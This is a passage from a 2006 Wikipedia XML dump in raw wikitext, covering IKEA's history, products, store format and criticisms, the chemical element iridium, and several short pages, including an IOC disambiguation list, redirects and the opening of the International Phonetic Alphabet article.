[[es:Yodo]]
[[eo:Jodo]]
[[fa:ید]]
[[fr:Iode]]
[[ko:아이오딘]]
[[io:Iodo]]
[[is:Joð]]
[[it:Iodio]]
[[he:יוד]]
[[lv:Jods]]
[[lt:Jodas]]
[[hu:Jód]]
[[nl:Jodium]]
[[ja:ヨウ素]]
[[no:Jod]]
[[oc:Iòde]]
[[pl:Jod]]
[[pt:Iodo]]
[[ru:Иод]]
[[sl:Jod]]
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[[fi:Jodi]]
[[sv:Jod]]
[[th:ไอโอดีน]]
[[uk:Йод]]
[[zh:碘]]</text>
    </revision>
  </page>
  <page>
    <title>IKEA</title>
    <id>14751</id>
    <revision>
      <id>41998949</id>
      <timestamp>2006-03-03T03:16:18Z</timestamp>
      <contributor>
        <ip>68.189.83.210</ip>
      </contributor>
      <comment>/* Community impact */</comment>
      <text xml:space="preserve">{{Infobox Company|
company_name = IKEA International Group|
company_logo = [[Image:Ikea.gif]]|
company_type = [[Private company|Private]]|
foundation   = [[1943]] in [[Älmhult Municipality|Älmhult]], [[Småland]], [[Sweden]]|
location     = [[Delft]], [[South Holland]], [[The Netherlands]] |
key_people   = • [[Ingvar Kamprad]], Founder&lt;br /&gt;• [[Anders Dahlvig]], [[President]]&lt;br /&gt;• [[Hans Gydell]], [[Vice President|VP]]|
industry     = [[Retailer|Retail (Specialty)]]|
products     = [[self-assembly furniture]], [[#Products|See section on products]]|
revenue      = $15.425B [[United States dollar|USD]] ([[Image:green up.png]] 24%) ([[Fiscal year|FY]] [[2004]])|
num_employees = 84,000 ([[2004]])|
homepage     = [http://www.ikea.com/ www.ikea.com]|
}}

'''IKEA''' is a [[Sweden|Swedish]] home [[furniture|furnishings]] [[retailer]]. It has 229 stores in 33 [[country|countries]], most of them in [[Europe]], the rest in the [[United States]], [[Canada]], [[Asia]] and [[Australia]]. More than 20 opened during [[2005]]. IKEA is one of the few store chains to have locations both in [[Israel]] and in other [[Middle East]]ern nations.

IKEA is generally pronounced ([[IPA chart for English|IPA]] {{IPA|/i'ke.a/}}) but in many English-speaking regions, it is pronounced (IPA {{IPA|/a&amp;#618;'ki:ə/}}) rhyming with the word &quot;idea&quot;.

The IKEA [[Catalog|catalogue]], containing about 12,000 products, is printed in 160 million copies (2006) worldwide, and distributed free of charge. {{ref|Catalogue}}

IKEA is famous for its affordable furniture which consumers are required to assemble for themselves.

== History ==
[[Image:IKEA Map.PNG|right|275px|thumb|A map of the countries that have IKEA stores {{ref|Map}}]]

IKEA was founded in [[1943]] by [[Ingvar Kamprad]], then 17. The company name is a composite of the first letters in his name and the names of the property and the village in which he grew up: Ingvar Kamprad Elmtaryd Agunnaryd. This acronym is incidentally similar to the [[Greek language|Greek]] word οικία [''oikia''] (home) and to the [[finnish language|Finnish]] word oikea (correct).

Originally, IKEA sold [[pen]]s, [[wallet]]s, [[picture frame]]s, [[Furniture#table|table]] runners, [[watch]]es, [[Jewellery|jewelry]] and [[nylon]] [[stockings]] or practically anything Kamprad found a need for that he could fill with a product at a reduced price. [[Furniture]] was first added to the IKEA product range in [[1947]] and, in [[1955]], IKEA began to design its own furniture. The company motto is: &quot;Well designed affordable quality furniture to the many people&quot;.

At first, Kamprad sold his goods out of his home and by [[mail order]], but eventually a store was opened in the nearby town of [[Älmhult Municipality|Älmhult]]. It was also the location for the first IKEA &quot;warehouse&quot; store which came to serve as a model for IKEA establishments elsewhere and on [[March 23]], [[1963]], the first store outside Sweden was opened in [[Asker]], a [[Norway|Norwegian]] municipality outside [[Oslo]]. (The store was located in the same building which houses the Bellevue hotel, about two [[Kilometre|km]] from the present site at Billingstad/Slependen, which opened in [[1975]]. The store in Asker is currently undergoing a major expansion and remodeling.)

== Products ==

IKEA furniture is well known for its modern (often unusual) [[design]]. Also, because much of it is [[self-assembly furniture]] (also known as &quot;flat-pack&quot;), it is designed to be assembled by the consumer rather than being sold pre-assembled. IKEA claims this permits them to reduce costs and use of packaging by not [[shipping]] [[Earth's atmosphere|air]]&amp;mdash;the [[volume]] of a bookcase, for example, is considerably less if it is shipped unassembled rather than assembled. 
[[Image:SWE Ikea.jpg|thumb|left|300px|IKEA in Kungens Kurva, just south of Stockholm, Sweden]]
IKEA also claims to have pioneered the use of more sustainable approaches to mass [[Consumerism|consumer culture]]. Its founder calls it &quot;democratic design,&quot; meaning that the company applies an integrated approach to [[manufacturing]] and [[design]] (see also [[environmental design]]). Responding to the explosion of human population&amp;mdash;and material expectations&amp;mdash;in the [[20th century]], the company has mastered [[economies of scale]], capturing material streams and creating manufacturing processes that hold costs and resource use down, such as the extensive use of [[particle board]]. The intended result is flexible, adaptable home furnishings, scaleable both to larger homes and smaller dwellings.

IKEA has also expanded their product base to include flat-pack houses, in an effort to cut prices involved in a first-time buyer's home. The product, named [http://www.boklok.com/ BoKlok] was launched in Sweden in [[1996]] in a joint venture with [[Skanska]]. Now working in the Nordic countries and in UK, sites confirmed in [[England]] include London, [[Manchester]], [[Leeds]] and [[Liverpool]]. [http://shopping.guardian.co.uk/household/story/0,1587,1403793,00.html]

Every IKEA product is identified by a name, either [[Swedish language|Swedish]] in origin or Swedish-sounding. Most names have an [[etymology]] regarding their function or appearance {{De icon}} [http://www.stern.de/wirtschaft/unternehmen/index.html?eid=504885&amp;id=506948&amp;nv=ex_rt]: 

* ''Upholstered furniture, coffee tables, rattan furniture, bookshelves, media storage, doorknobs'': Swedish placenames

* ''Beds, wardrobes, hall furniture'': Norwegian placenames

* ''Dining tables and chairs'': Finnish placenames

* ''Bookcase ranges'': Occupations

* ''Bathroom articles'': Scandinavian lakes, rivers and bays

* ''Kitchens'': grammatical terms, sometimes also other names

* ''Chairs, desks'': men’s names

* ''Materials, curtains'': women’s names

* ''Garden furniture'': Swedish islands

* ''Carpets'': Danish placenames

* ''Lighting'': terms from music, chemistry, meteorology, measures, weights, seasons, months, days, boats, sailors’ language

* ''Bedlinen, bedcovers, pillows/cushions'': flowers, plants, precious stones

* ''Children’s items'': mammals, birds, adjectives

* ''Curtain accessories'': mathematical and geometrical terms

* ''Kitchen utensils'': foreign words, spices, herbs, fish, mushrooms, fruits or berries, functional descriptions

* ''Boxes, wall decoration, pictures and frames, clocks'': colloquial expressions, also Swedish placenames

For example, ''AKTION'' is a name for a pepper mill, ''DINERA'' for tableware, ''KASSETT'' for media storage. The entire office furniture line is named ''EFFEKTIV''. 

Company founder Ingvar Kamprad, who is [[dyslexia|dyslexic]], found that naming the furniture with a name, rather than a product code, made the names easier to remember.

== Community impact ==

IKEA's goals of sustainability and environmental design in their merchandise may be trumped by the impact a new IKEA store can have on a community:

Like all [[big-box store]]s, IKEA stores draw consumers from a very large area. Although they were in the [[United States|U.S.]] before the United Kingdom and other European countries, IKEA had very few stores until recently. Because they have few stores, they often drew consumers from out-of-state. The handful of American cities which accepted IKEA stores were delighted by the subsequent surge in [[sales tax]] revenue, yet dismayed at the accompanying surge in [[traffic congestion]].
[[Image:Ikea-stern.jpg|thumb|right|300px|IKEA Barkarby]]
For example, when an IKEA opened in [[April 2000]] in [[Emeryville, California|Emeryville]], [[California]], the traffic was so severe that most local [[traffic light]]s were rendered useless. Emeryville police were forced to manually direct traffic daily for three months. When an IKEA opened in [[Tempe, Arizona|Tempe]], [[Arizona]] in [[November 2004]], the traffic jams on [[Interstate 10]] were so severe that the Arizona Department of Public Safety had to close the nearest off-ramp to the store just to spread out the traffic among other nearby off-ramps.

IKEA's most popular store in [[Brent Park]], [[London]] frequently has traffic jams on the weekends.

A new store opened in [[Edmonton, London|Edmonton]], North London at midnight on [[10 February]] [[2005]]. It attracted over 6,000 visitors due to huge opening discounts in the first three opening hours and resulted in a number of casualties as people were crushed in the rush to get into the store. The store was closed after only 30 minutes (due to the large number of customers, there were inadequate security staff and police). The store was re-opened at 5pm on [[11 February]][[2005]] with no additional incident. One of IKEA's newest stores opened on [[1 March]] [[2006]] in [[West Sacramento, California|West Sacramento]] without any injuries. Showing a responsibility to the community, IKEA built its store right next to the nearest highway onramp.

In Saudi Arabia [http://news.bbc.co.uk/1/hi/world/middle_east/3618190.stm three people were crushed to death] in September 2004 when IKEA offered a limited number of $150 vouchers for free.

Minding the above problems, the store at [[Atlantic Station]] in [[Atlanta]] opened on [[29 June]] [[2005]] with 20 off-duty police officers directing traffic. That store is its first in the [[Southeastern United States|Southeast U.S.]], its third-largest in [[North America]], and the only one to serve [[grits]]. The first person in line had been there a week.

The [[Stoughton, Massachusetts|Stoughton]], [[Massachusetts]] store opened on [[9 November]] [[2005]].  Nearby highways were at a standstill; approaching the store from less than 1 mile took upwards of an hour.  IKEA employees indicated that on the first Saturday of operation, the Stoughton store would have sales of $1-1.2M.  Over 300,000 visitors were expected on the first weekend of operation.

IKEA was vetoed planning permission for a further store in England in 2004 (to be based in [[Stockport]] in [[Greater Manchester]]) by the [[Office of the Deputy Prime Minister]].  It applied for [[judicial review]] but lost in 2005. [http://news.bbc.co.uk/1/hi/england/manchester/4278539.stm] [http://www.manchesteronline.co.uk/news/s/125/125859_fury_as_prescott_blocks_ikea_store.html]  In January 2006 it announced plans to create 10 extra smaller outlets, to be based in city centres.  The first of these will be in [[Coventry]]. [http://news.bbc.co.uk/1/hi/business/4598068.stm]

== Store format ==

Newer IKEA stores are usually very large blue boxes with few windows. They are often designed around a mandatory &quot;one-way&quot; layout which forces consumers to traverse nearly all parts of the store before reaching the [[cashier]] or [[Point of sale#Traditional stores|check-out stands]]. The sequence involves going through furniture showrooms (showroom) and housewares (market-hall) first, then the warehouse where one collects flatpacks for products seen in the showrooms, and then the cashier.

This design is intended to make customers encounter products which they might not have thought to look for, but has the disadvantage of inconveniencing consumers who already know what they want to buy and just want to return to the warehouse area.

Recently, in some stores, shortcuts have been introduced between various sections, making travel time through the store much shorter if necessary. However, though they may be indicated on store maps, these shortcuts are often not obvious so an inexperienced IKEA shopper is likely to overlook them and travel through the whole layout of the store. In addition, the shortcuts are heavily criticized for not being long enough for convenience.  

Whilst the original design involved the warehouse on the lower level and the showroom and markethall on the upper, some stores are single-level bungalow-style stores while many U.S. stores place the showroom upstairs and the marketplace and warehouse both downstairs. Some stores&lt;!-- Most U.S. stores? --&gt; operate separate additional warehouses for the larger or less popular flatpacks to keep the size of the customer warehouse down (and therefore less daunting) and allow more stock to be kept on-site at any given time. Unfortunately, this occasionally results in customers being unable to find the goods they paid for at the cashier without direction from staff and the impression of [[Queue area|queueing]] twice (once at the cashier, once at the external warehouse). However, there are few complaints about being able to collect goods quicker from the customer warehouses.

Many stores include [[restaurant]]s serving typically [[Swedish cuisine|Swedish food]], and beverages such as [[lingonberry]] juice.  The restaurant area is usually the one place in the store where there are large windows. Outside of Sweden, these restaurants are sometimes complemented by mini-shops selling Swedish-made, Swedish-style groceries. As would be expected with IKEA, you can buy IKEA's specialities, such as [[Meatball|Swedish meatballs]], in parts (i.e. the ingredients) at these stores and assemble it (that is, simple, straightforward food preparation) at home.

Most IKEA stores also offer an &quot;as-is&quot; area at the end of the warehouse just prior to the cashiers. Returned, damaged and formerly showcased products which are not in &quot;as new&quot; condition are displayed here, and sold with a discount,  but also with a &quot;no-returns&quot; policy.

In Hong Kong, where shop space is limited and costly, IKEA has opened four outlets across the country, which are actually part of conveniently located shopping malls. They are relatively tiny, compared to common &quot;large blue box&quot; store design, yet most of them are still in the &quot;one-way&quot; layout. However, the newest outlet in [[Telford Plaza]] does not follow this template, and the three independent floors can be accessed freely from each. Following IKEA tradition, though, the only cashier is located on the lowest floor.

== Corporate structure ==

Despite IKEA's Swedish roots, the owner/franchiser of the IKEA concept is a Dutch company, Inter IKEA Systems BV. The operator/franchisee of the majority of the stores worldwide is a separate entity, the IKEA Group, a private group of companies owned by a Dutch charitable foundation. 

Of the 202 IKEA stores in 32 countries, 180 are run by the IKEA Group. The remaining 22 are run by franchisees outside of the IKEA Group.[http://www.ikea-group.ikea.com/about_ikea/organized.html]

INGKA Holding BV is the ultimate parent company for all IKEA Group companies, including the industrial group [[Swedwood]]. [[INGKA Holding BV]] is wholly owned by [[Stichting INGKA Foundation]], which is a foundation registered in the [[Netherlands]].

This complicated structure is seen by some as an attempt to avoid Sweden's high taxation at the time. Another reason could be to make it difficult to acquire IKEA.

== Criticisms ==

Some criticisms of IKEA:

*IKEA has [http://www.metropolismag.com/html/content_0203/ob/ob05_0203.html demolished historic buildings], in at least one case for a [http://www.nydailynews.com/boroughs/story/267758p-229361c.html parking lot].
*In the 1990s, there were several complaints arising from IKEA's [[United Kingdom|British]] television [[advertising campaign]]s:
**“Stop being so English”: In which a “Swedish [[psychologist]]” claims the British are uptight due to their taste in “English” furniture. (complaints were dismissed). [http://www.ofcom.org.uk/static/archive/itc/itc_publications/complaints_reports/advertising_complaints/show_complaint.asp-ad_complaint_id=143.html]
**An advertisement where a [[Management consulting|management consultant]] suggests how much more furniture a company could buy, if it fired an office worker. (complaints were dismisssed but IKEA voluntarily withdrew the advert) [http://www.ofcom.org.uk/static/archive/itc/itc_publications/complaints_reports/advertising_complaints/show_complaint.asp-ad_complaint_id=10.html]
** A campaign under the slogan, &quot;Just pack up, ship out, find a place of your own. And for all your new things, you know where to come. Make a fresh start,&quot; got complaints that it was trivializing [[Legal separation|marriage breakups]] and showing a homosexual relationship. (complaints were dismissed) [http://www.ofcom.org.uk/static/archive/itc/itc_publications/complaints_reports/advertising_complaints/show_complaint.asp-ad_complaint_id=288.html]
**An advertisement in which a boss tells members of his staff to smell each other's [[armpit]]s.

As a side note, the IKEA furniture line was satirized in the movie [[Fight Club (film)|Fight Club]].

==Diversity==

IKEA was named one of the 100 Best Companies for Working Mothers in 2004 by ''[[Working Mothers]]'' magazine.

== Design reform ==

As pointed out by circuit lecturer [[Will Novosedlik]], IKEA embodies the principles of [[design reform]] begun by [[William Morris]] and [[John Ruskin]]. &quot;Socialistic&quot; in nature, IKEA attempts to elevate public taste by providing quality goods at affordable prices.

== IKEA's debut in each country ==
&lt;!-- Source: http://franchisor.ikea.com/showContent.asp?swfId=facts3 --&gt;

* 1958 [[Sweden]] &amp;mdash; [[Älmhult Municipality|Älmhult]]
* 1963 [[Norway]] &amp;mdash; [[Asker]] ([[Nesbru]])
* 1969 [[Denmark]] &amp;mdash; [[Copenhagen]] ([[Ballerup]])
* 1973 [[Switzerland]] &amp;mdash; [[Zürich]] ([[Spreitenbach]])
* 1974 [[Germany]] &amp;mdash; [[Munich]] ([[Eching]])
* 1975 [[Australia]] &amp;mdash; [[Sydney]] ([[Artarmon, New South Wales|Artarmon]])
&lt;!-- The IKEA site spells Artarmon &quot;Artamon&quot;, I'm asuming that Artarmon, NSW is correct --&gt;
* 1975 [[Hong Kong]] &amp;mdash; [[Kowloon]] ([[Tsim Sha Tsui]])
* 1976 [[Canada]] &amp;mdash; [[Vancouver]] ([[Richmond, British Columbia|Richmond]])
* 1977 [[Austria]] &amp;mdash; [[Vienna]] ([[Vösendorf]])
* 1978 [[Netherlands]] &amp;mdash; [[Rotterdam]] ([[Sliedrecht]])
* 1978 [[Singapore]] &amp;mdash; [[Queenstown, Singapore|Queenstown]]
* 1980 [[Spain]] &amp;mdash; [[Gran Canaria]] ([[Las Palmas de Gran Canaria|Las Palmas]])
* 1981 [[Iceland]] &amp;mdash; [[Reykjavík]]
* 1981 [[France]] &amp;mdash; [[Paris]] ([[Bobigny]])
* 1983 [[Saudi Arabia]] &amp;mdash; [[Jeddah]]
* 1984 [[Belgium]] &amp;mdash; [[Brussels]] ([[Zaventem]] and [[Ternat]])
* 1984 [[Kuwait]] &amp;mdash; [[Kuwait City]]
* 1985 [[United States]] &amp;mdash; [[Philadelphia]] ([[Plymouth Meeting, Pennsylvania|Plymouth Meeting]])
* 1987 [[United Kingdom]] &amp;mdash; [[Manchester]] ([[Warrington]])
* 1989 [[Italy]] &amp;mdash; [[Milan]] ([[Cinisello Balsamo]])
* 1990 [[Hungary]] &amp;mdash; [[Budapest]]
* 1991 [[Poland]] &amp;mdash; [[Platan]]
* 1991 [[Czech Republic]] &amp;mdash; [[Prague]] ([[Zličín]])
* 1991 [[United Arab Emirates]] &amp;mdash; [[Dubai]]
* 1992 [[Slovakia]] &amp;mdash; [[Bratislava]]
* 1994 [[Taiwan]] &amp;mdash; [[Taipei]]
* 1996 [[Finland]] &amp;mdash; [[Espoo]]
* 1996 [[Malaysia]] &amp;mdash; [[Selangor]] (Re-located to [[Mutiara Damansara]] in 2003)
* 1998 [[China]] &amp;mdash; [[Beijing]]
* 2000 [[Russia]] &amp;mdash; [[Moscow]] ([[Chimki]])
* 2001 [[Israel]] &amp;mdash; [[Netanya]]
* 2001 [[Greece]] &amp;mdash; [[Thessaloniki]]
* 2004 [[Portugal]] &amp;mdash; [[Lisbon]]
* 2005 [[Turkey]] &amp;mdash; [[Istanbul]]
* 2006 [[Japan]] &amp;mdash; [[Funabashi, Chiba|Funabashi]]
* 2006 [[Ireland]] &amp;mdash; [[Dublin]]

==See also==

* [[List of Swedish companies]]

== Notes ==
# {{note|Map}} Countries in yellow (Ireland and Japan) will open their stores soon. 
# {{note|Catalogue}} IKEA Q&amp;A section, on the Swedish language site ([http://www.ikea.com/ms/sv_SE/customer_service/faq/faq.html#0700]).

== External links ==
* [http://www.ikea.com/ IKEA] - Official site
** [http://www.ikea-group.ikea.com/corporate/about_ikea/organized.html How IKEA works]

* [http://www.elitedesigners.org/ IKEA Advertising Campaign]
* [http://www.positivefanatics.com Positive Fanatics - The Unofficial IKEA Web Journal]

* [http://www.ikeafans.com IKEA Fansite] FAQ's and Photos primarily focusing on IKEA Kitchens
** [http://www.ikeafans.com/forums IKEA Fansite Forums]
*** [http://www.home2garden.org/ikea-catalog.html Find an IKEA store, get an IKEA Catalog] 
===Data===

* [http://biz.yahoo.com/ic/42/42925.html Yahoo! - IKEA International A/S Company Profile]

===Directory===

* Store addresses and contact details are on [http://www.yellowikis.org/wiki/index.php/Ikea Yellowikis/IKEA]

[[Category:Brands]]
[[Category:Furniture manufacturers]]

&lt;!-- more info on the location of the company in the section Corporate Structure --&gt;

[[Category:Companies of the Netherlands]]
[[Category:Dutch multinationals]]

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    </revision>
  </page>
  <page>
    <title>Iridium</title>
    <id>14752</id>
    <revision>
      <id>40772774</id>
      <timestamp>2006-02-22T22:46:11Z</timestamp>
      <contributor>
        <username>Edgar181</username>
        <id>491706</id>
      </contributor>
      <comment>Revert to revision 40012976 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{{Otheruses4|the chemical element|the communications satellite|Iridium (satellite)}}
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 | dm=[[electron capture|&amp;epsilon;]] | de=2.000 | pn=190 | ps=[[osmium|Os]] }}
{{Elementbox_isotopes_stable | mn=191 | sym=Ir | na=37.3% | n=114 }}
{{Elementbox_isotopes_decay2 | mn=192 | sym=Ir
 | na=[[synthetic radioisotope|syn]] | hl=73.83 d
 | dm1=[[beta emission|&amp;beta;]] | de1=1.460 | pn1=192 | ps1=[[platinum|Pt]]
 | dm2=[[electron capture|&amp;epsilon;]] | de2=1.046 | pn2=192 | ps2=[[osmium|Os]] }}
{{Elementbox_isotopes_decay | mn=192[[Nuclear isomer|m]] | sym=Ir
 | na=[[synthetic radioisotope|syn]] | hl=241 [[year|y]]
 | dm=[[isomeric transition|IT]] | de=0.155 | pn=192 | ps=Ir }}
{{Elementbox_isotopes_stable | mn=193 | sym=Ir | na=62.7% | n=116 }}
{{Elementbox_isotopes_decay | mn=194 | sym=Ir
 | na=[[synthetic radioisotope|syn]] | hl=19.3 h
 | dm=[[beta emission|&amp;beta;]]&lt; | de=2.247 | pn=194 | ps=[[platinum|Pt]] }}
{{Elementbox_isotopes_decay | mn=195 | sym=Ir
 | na=[[synthetic radioisotope|syn]] | hl=2.5 h
 | dm=[[beta emission|&amp;beta;]]&lt; | de=1.120 | pn=195 | ps=[[platinum|Pt]] }}
{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#ffc0c0 | color2=black }}

'''Iridium''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''Ir''' and [[atomic number]] 77. A dense, very hard, brittle, silvery-white [[transition metal]] of the [[platinum family]], iridium is used in high strength [[alloy]]s that can withstand high temperatures and occurs in natural alloys with [[platinum]] or [[osmium]]. Iridium is notable for being the most corrosion resistant element known and for its association with the [[Cretaceous-Tertiary extinction event#Impact_event_and_iridium|demise]] of the [[dinosaur]]s. It is used in high temperature apparatus, electrical contacts, and as a hardening agent for platinum.

== Notable characteristics == 
A [[platinum family]] [[metal]], iridium is white, resembling [[platinum]], but with a slight yellowish cast. Due to its extreme hardness and brittle properties, iridium is difficult to machine, form, or work. Iridium is the most [[corrosion]]-resistant metal known. Iridium cannot be attacked by any [[acid]]s or by [[aqua regia]], but it can be attacked by molten [[salt]]s, such as [[sodium chloride|NaCl]] and [[sodium cyanide|NaCN]].

The measured [[density]] of this element is only slightly lower than that of [[osmium]], which is therefore often listed as the heaviest element known. However, calculations of density from the [[space lattice]] may produce more reliable data for these elements than actual measurements and give a density of 22650 [[kilogram per cubic metre|kg/m&amp;sup3;]] for iridium versus 22610 kg/m&amp;sup3; for osmium. Definitive selection between the two is therefore not possible at this time.

== Applications == 
The principal use of iridium is as a hardening agent in platinum alloys. Other uses:
*For making [[crucible]]s and devices that require high temperatures.
*Electrical contacts (notable example: Pt/Ir [[sparkplug]]s).
*Osmium/iridium alloys are used for tipping [[fountain pen]] nibs and for [[compass]] bearings.
*Iridium is used as a [[catalyst]] for carbonylation of methanol to produce [[acetic acid]]
At one time iridium, as an alloy with platinum, was used in bushing the vents of heavy [[ordnance]] and, in a finely powdered condition (iridium black), for painting [[porcelain]] black.

== History == 
Iridium was discovered in [[1803]] by [[Smithson Tennant]] in London, England along with [[osmium]] in the dark-colored residue of dissolving crude [[platinum]] in [[aqua regia]] (a mixture of [[hydrochloric acid|hydrochloric]] and [[nitric acid]]). The element was named after the Latin word for [[rainbow]] (''iris''; ''iridium'' means &quot;of rainbows&quot;) because many of its salts are strongly colored.

An alloy of 90% platinum and 10% iridium was used in [[1889]] to construct the standard [[metre]] bar and [[kilogram]] mass, kept by the [[Bureau International des Poids et Mesures|International Bureau of Weights and Measures]] near [[Paris]]. The metre bar was replaced as the definition of the fundamental unit of length in [[1960]] (see [[krypton]]), but the kilogram prototype is still the international standard of mass.

The [[Cretaceous-Tertiary extinction event|KT event]] of 65 million years ago, marking the temporal border between the [[Cretaceous]] and [[Tertiary]] eras of [[Geologic Timescale|geological time]], was identified by a thin [[stratum]] of iridium-rich clay. A team led by [[Luis Alvarez]] ([[1980]]) proposed an extraterrestrial origin for this iridium, attributing it to an [[asteroid]] or [[comet]] impact near what is now [[Yucatan Peninsula]]. Their theory is widely accepted to explain the demise of the [[dinosaur]]s. Dewey M. McLean and others argue that the iridium may have been of [[volcano|volcanic]] origin instead. The [[Earth]]'s core is rich in iridium, and Piton de la Fournaise on [[Réunion]], for example, is still releasing iridium today.

== Occurrence == 
Iridium is found uncombined in nature with platinum and other platinum group metals in [[alluvium|alluvial]] deposits. Naturally occurring iridium alloys include [[osmiridium]] and [[iridiosmium]], both of which are mixtures of iridium and osmium. It is recovered commercially as a by-product from [[nickel]] mining and processing.

Iridium is rare on [[Earth]], but relatively common in [[meteorite]]s.  &lt;!-- Why is iridium rare on Earth?! --&gt;

== Isotopes == 
There are two natural [[isotope]]s of iridium, and many [[radioisotope]]s, the most stable radioisotope being Ir-192 with a [[half-life]] of 73.83 days. Ir-192 [[beta decay]]s into platinum-192, while most of the other radioisotopes decay into osmium.

== Precautions == 
[[Image:Iridium_foil.jpg|thumb|Iridium foil]]
Iridium metal is mostly non-toxic due to its relative unreactivity, but iridium compounds should be considered highly toxic.

== References ==
*[http://periodic.lanl.gov/elements/77.html Los Alamos National Laboratory -  Iridium]

== External links ==
{{Commons|Iridium}}
*[http://www.webelements.com/webelements/elements/text/Ir/index.html WebElements.com - Iridium]
*[http://www.pniok.de/ir.htm Picture in the element collection from Pniok.de]

&lt;!--Categories--&gt;
[[Category:Chemical elements]]
[[Category:Transition metals]]
[[Category:Precious metals]]

&lt;!--Interwiki--&gt;

[[ca:Iridi]]
[[cs:Iridium]]
[[de:Iridium]]
[[et:Iriidium]]
[[es:Iridio]]
[[eo:Iridio]]
[[fr:Iridium]]
[[ko:이리듐]]
[[io:Iridio]]
[[ia:Iridium]]
[[is:Iridín]]
[[it:Iridio]]
[[he:אירידיום]]
[[ku:Îrîdyûm]]
[[lv:Irīdijs]]
[[lt:Iridis]]
[[hu:Irídium]]
[[nl:Iridium (element)]]
[[ja:イリジウム]]
[[no:Iridium]]
[[nn:Iridium]]
[[oc:Iridi]]
[[pl:Iryd]]
[[pt:Irídio]]
[[ru:Иридий]]
[[sl:Iridij]]
[[sr:Иридијум]]
[[fi:Iridium]]
[[sv:Iridium]]
[[th:อิริเดียม]]
[[uk:Іридій]]
[[zh:铱]]</text>
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    <title>IOC (disambiguation)</title>
    <id>14753</id>
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      <id>39095180</id>
      <timestamp>2006-02-10T18:06:08Z</timestamp>
      <contributor>
        <username>Junkermike</username>
        <id>187023</id>
      </contributor>
      <minor />
      <comment>Change de</comment>
      <text xml:space="preserve">The acronym '''IOC''' can have several meanings, depending on context:
*[[IBM Open Class]]
*[[Intergovernmental Oceanographic Commission]]
*[[Icon of Coil]]
*[[Indian Oil Corporation]]
*Initial Operational Capability &amp;ndash; Used e.g. for weapons systems
*[[I/O processor|Input/Output Controller]]
*[[International Olympic Committee]]
*[[Organized crime|International Organized Crime]]
*[[Inversion of Control]]
*[[Iron Ore Company of Canada]]

{{TLAdisambig}}

[[de:IOC (Begriffsklärung)]]</text>
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    <title>ITU</title>
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      <contributor>
        <username>Thomas Blomberg</username>
        <id>407237</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[International Telecommunication Union]]</text>
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    <title>International Wikipedia/Coordination</title>
    <id>14755</id>
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      <contributor>
        <username>Michael Snow</username>
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      <text xml:space="preserve">#REDIRECT [[Wikipedia:Multilingual coordination]]</text>
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    <title>International Wikipedia/Homepages</title>
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        <username>Michael Snow</username>
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      <text xml:space="preserve">#REDIRECT [[Wikipedia:Multilingual coordination]]</text>
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    <title>International Wikipedia/TextToTranslate</title>
    <id>14758</id>
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      <timestamp>2004-02-17T13:56:16Z</timestamp>
      <contributor>
        <username>Fabiform</username>
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      <text xml:space="preserve">#REDIRECT [[Wikipedia:Translation into English]]</text>
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  <page>
    <title>International Phonetic Alphabet</title>
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      <id>42123231</id>
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      <minor />
      <comment>/* Types of transcriptions */ dab &quot;Pipe&quot;</comment>
      <text xml:space="preserve">:&lt;span class=&quot;dablink&quot;&gt;'' &quot;IPA&quot; redirects here. For other uses, see [[IPA (disambiguation)]]. The [[NATO phonetic alphabet]] has also informally been called the &quot;International Phonetic Alphabet.&quot;&lt;/span&gt; 
The '''International Phonetic Alphabet''' ('''IPA''') is a system of [[phonetic transcription|phonetic notation]] devised by linguists to accurately and uniquely represent each of the wide variety of sounds ([[phone]]s or [[phoneme]]s) used in spoken human language. It is intended as a notational standard for the [[Phoneme|phonemic]] and  [[Phonetics|phonetic]] representation of all spoken languages.

For a treatment of the [[English language]] using the IPA, see [[International Phonetic Alphabet for English]]; for a brief chart, see [[IPA chart for English]].
[[Image:IPA chart 2005.png|thumb|400px|The International Phonetic Alphabet.]]
==History==
{{main |History of the International Phonetic Alphabet}}

==Description==
The general principle of the IPA is to provide a separate symbol for each [[speech segment]], avoiding letter combinations ([[digraph (orthography)|digraph]]s) such as ''[[sh (digraph)|sh]]'' and ''[[th (digraph)|th]]'' in [[English orthography]], and avoiding ambiguity such as that of [[Pronunciation of English c|''c'' in English]].

===The principle of formation===
The IPA is what MacMahon (1996) has termed a &quot;selective&quot; phonetic alphabet. It aims to provide a separate symbol for every ''contrastive'' (that is, ''[[phonemic]]'') sound occurring in human language. For instance, a [[flap consonant|flap]] and a tap are two different articulations, but since no language has (yet) been found to make a phonemic distinction between them, the IPA does not provide them with dedicated symbols. Instead, it provides a single symbol,&amp;nbsp;{{IPA|ɾ}}, that covers both. For ''non-contrastive'' (that is, ''[[phonetic]]'' or ''subphonemic'') details of these sounds, the IPA relies on [[diacritic]]s, which are optional. Thus there is a certain level of flexibility in representing a language with the IPA. 

===Principles behind the symbols===
The letters chosen for the IPA are generally drawn from the [[Latin alphabet|Latin]] and [[Greek alphabet|Greek]] alphabets, or are modifications of Latin or Greek letters. There are also a few letters derived from Latin punctuation, such as the glottal stop {{IPA|ʔ}} (originally an [[apostrophe (mark)|apostrophe]], but later given the form of a &quot;gelded&quot; [[question mark]] to have the visual impact of the other consonants), and one, {{IPA|ʕ}}, although Latin in form, was inspired by [[Arabic alphabet|Arabic]] letter &lt;ﻉ&gt; ''`ain''. On the other hand, the original Latin-derived symbols for the [[click consonant|click]]s have been abandoned in favor of iconic [[Khoisan languages|Khoisanist]] symbols such as {{IPA|ǁ}}. 

The sound-values of the [[consonant]]s taken from the [[Latin alphabet]] correspond to usage in French and Italian, and are close to those of most other European languages as well: {{IPA|[b]}}, {{IPA|[d]}}, {{IPA|[f]}}, {{IPA|[ɡ]}}, {{IPA|[k]}}, {{IPA|[l]}}, {{IPA|[m]}}, {{IPA|[n]}}, {{IPA|[p]}}, (unvoiced) {{IPA|[s]}}, {{IPA|[t]}}, {{IPA|[v]}}, {{IPA|[z]}}. English values are used for {{IPA|[h]}} and {{IPA|[w]}}.

The [[vowel]]s from the Latin alphabet ({{IPA|[a]}}, {{IPA|[e]}}, {{IPA|[i]}}, {{IPA|[o]}}, {{IPA|[u]}}) correspond to the vowels of [[Spanish language|Spanish]] and are similar to [[Italian language|Italian]]. {{IPA|[i]}} is like the vowel in ''piece'', {{IPA|[u]}} like ''rule'', etc.

